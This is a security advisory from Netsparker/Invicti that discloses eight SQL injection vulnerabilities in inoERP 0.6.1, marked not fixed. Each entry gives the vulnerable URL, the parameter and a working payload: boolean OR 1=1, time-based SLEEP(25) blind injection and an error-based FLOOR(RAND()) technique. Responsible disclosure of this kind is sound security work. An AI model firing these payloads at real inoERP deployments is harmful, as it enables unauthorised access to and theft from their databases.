SQL Injection Vulnerabilities in inoERP 0.6.1

Information

Advisory by Netsparker (now Invicti)
Name: SQL Injection Vulnerabilities in inoERP 0.6.1
Affected Software: inoERP
Affected Versions: 0.6.1
Homepage: https://github.com/inoerp/inoERP
Vulnerability: SQL Injection
Severity: Critical
Status: Not Fixed
CVSS Score (3.0): SQL Injections: 10
Invicti Advisory Reference: NS-18-058

Technical Details – Vulnerabilities Tree

  1. Boolean SQL Injection
    1. content.php (GET = content_type[])
  2. Blind SQL Injection
    1. extensions/report/json_report.php (GET = sort_data[0][name])
    2. form.php (GET = role_id)
    3. includes/json/json_form.php (GET = user_id)
    4. includes/json/json_select.php (GET = search_parameters[3][value])
    5. includes/json/json_select.php (GET = search_parameters[4][value])
    6. includes/json/json_svgimage.php (GET = sort_data[0][name])
  3. Error Based SQL Injection
    1. form.php (GET = type)

Technical Details

1.1. Boolean SQL Injection in content.php (GET = content_type[])

URL: http://{domain}/{inoerp_path}/content.php?content_type[]=extn_site_search' OR 1=1 OR 'ns'='ns&search_text=3&search_document_list[]=all
Parameter Name: content_type[]
Parameter Type: GET
Attack Pattern: extn_site_search%27+OR+1%3d1+OR+%27ns%27%3d%27ns

2.1. Blind SQL Injection in extensions/report/json_report.php (GET = sort_data[0][name])

URL: http://{domain}/{inoerp_path}/extensions/report/json_report.php?find_result=1&extn_report_id=1&show_from_query=false&sort_data[0][name]=supplier_name + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/&sort_data[0][value]=sort_up
Parameter Name: sort_data[0][name]
Parameter Type: GET
Attack Pattern: supplier_name+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f

2.2. Blind SQL Injection in form.php (GET = role_id)

URL: http://{domain}/{inoerp_path}/form.php?class_name=role_path&mode=9&role_id=261 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/
Parameter Name: role_id
Parameter Type: GET
Attack Pattern: 261+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f

2.3. Blind SQL Injection in includes/json/json_form.php (GET = user_id)

URL: http://{domain}/{inoerp_path}/includes/json/json_form.php?class_name=ec_cart&mode=9&user_id=6 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/
Parameter Name: user_id
Parameter Type: GET
Attack Pattern: 6+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f

2.4. Blind SQL Injection in includes/json/json_select.php (GET = search_parameters[3][value])

URL: http://{domain}/{inoerp_path}/includes/json/json_select.php?class_name=hr_employee_v&search_parameters[0][name]=new_search_criteria&search_parameters[0][value]=hr_employee_id&search_parameters[1][name]=column_array&search_parameters[1][value]=YToxOTp7aTowO3M6MTQ6ImhyX2VtcGxveWVlX2lkIjtpOjE7czoxMzoiZW1wbG95ZWVfbmFtZSI7aToyO3M6NzoidXNlcl9pZCI7aTozO3M6ODoidXNlcm5hbWUiO2k6NDtzOjEwOiJmaXJzdF9uYW1lIjtpOjU7czo5OiJsYXN0X25hbWUiO2k6NjtzOjU6ImVtYWlsIjtpOjc7czo2OiJzdGF0dXMiO2k6ODtzOjE3OiJpZGVudGlmaWNhdGlvbl9pZCI7aTo5O3M6MTQ6ImVtcF9zdGFydF9kYXRlIjtpOjEwO3M6MTQ6ImNpdGl6ZW5fbnVtYmVyIjtpOjExO3M6MTQ6ImVtcF9maXJzdF9uYW1lIjtpOjEyO3M6MTM6ImVtcF9sYXN0X25hbWUiO2k6MTM7czo1OiJwaG9uZSI7aToxNDtzOjk6ImVtcF9lbWFpbCI7aToxNTtzOjY6ImdlbmRlciI7aToxNjtzOjExOiJwZXJzb25fdHlwZSI7aToxNztzOjY6Im9yZ19pZCI7aToxODtzOjEzOiJjdXJyZW5jeV9jb2RlIjt9&search_parameters[2][name]=search_class&search_parameters[2][value]=hr_employee_v&search_parameters[3][name]=search_order_by[]&search_parameters[3][value]=hr_employee_id + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/&search_parameters[4][name]=search_asc_desc[]&search_parameters[4][value]=asc&search_parameters[5][name]=per_page[]&search_parameters[5][value]=10&search_parameters[6][name]=search_class_name&search_parameters[6][value]=hr_employee_v&search_parameters[7][name]=per_page&search_parameters[7][value]=10&pageno=1&per_page=3
Parameter Name: search_parameters[3][value]
Parameter Type: GET
Attack Pattern: hr_employee_id+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f

2.5. Blind SQL Injection in includes/json/json_select.php (GET = search_parameters[4][value])

URL: http://{domain}/{inoerp_path}/includes/json/json_select.php?class_name=hr_employee_v&search_parameters[0][name]=new_search_criteria&search_parameters[0][value]=hr_employee_id&search_parameters[1][name]=column_array&search_parameters[1][value]=YToxOTp7aTowO3M6MTQ6ImhyX2VtcGxveWVlX2lkIjtpOjE7czoxMzoiZW1wbG95ZWVfbmFtZSI7aToyO3M6NzoidXNlcl9pZCI7aTozO3M6ODoidXNlcm5hbWUiO2k6NDtzOjEwOiJmaXJzdF9uYW1lIjtpOjU7czo5OiJsYXN0X25hbWUiO2k6NjtzOjU6ImVtYWlsIjtpOjc7czo2OiJzdGF0dXMiO2k6ODtzOjE3OiJpZGVudGlmaWNhdGlvbl9pZCI7aTo5O3M6MTQ6ImVtcF9zdGFydF9kYXRlIjtpOjEwO3M6MTQ6ImNpdGl6ZW5fbnVtYmVyIjtpOjExO3M6MTQ6ImVtcF9maXJzdF9uYW1lIjtpOjEyO3M6MTM6ImVtcF9sYXN0X25hbWUiO2k6MTM7czo1OiJwaG9uZSI7aToxNDtzOjk6ImVtcF9lbWFpbCI7aToxNTtzOjY6ImdlbmRlciI7aToxNjtzOjExOiJwZXJzb25fdHlwZSI7aToxNztzOjY6Im9yZ19pZCI7aToxODtzOjEzOiJjdXJyZW5jeV9jb2RlIjt9&search_parameters[2][name]=search_class&search_parameters[2][value]=hr_employee_v&search_parameters[3][name]=search_order_by[]&search_parameters[3][value]=hr_employee_id&search_parameters[4][name]=search_asc_desc[]&search_parameters[4][value]=-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))&search_parameters[5][name]=per_page[]&search_parameters[5][value]=10&search_parameters[6][name]=search_class_name&search_parameters[6][value]=hr_employee_v&search_parameters[7][name]=per_page&search_parameters[7][value]=10&pageno=1&per_page=3
Parameter Name: search_parameters[4][value]
Parameter Type: GET
Attack Pattern: -1+or+1%3d((SELECT+1+FROM+(SELECT+SLEEP(25))A))

2.6. Blind SQL Injection in includes/json/json_svgimage.php (GET = sort_data[0][name])

URL: http://{domain}/{inoerp_path}/includes/json/json_svgimage.php?find_result=1&chart_type=vertical_column&chart_label=supplier_name&chart_value=open_balance&chart_name=&chart_width=400&chart_height=400&chart_legend=org&chart_legend2=&sort_data[0][name]=supplier_name + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/&sort_data[0][value]=sort_up&extn_report_id=1
Parameter Name: sort_data[0][name]
Parameter Type: GET
Attack Pattern: supplier_name+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f

3.1. Error Based SQL Injection in form.php (GET = type)

URL: http://{domain}/{inoerp_path}/
Parameter Name: type
Parameter Type: GET
Attack Pattern: -1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27

For more information on SQL injection vulnerabilities, read the section SQL injection.

Advisory Timeline

29th October 2017 – First Contact Attempt
15th Febuary 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Omer Citak while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.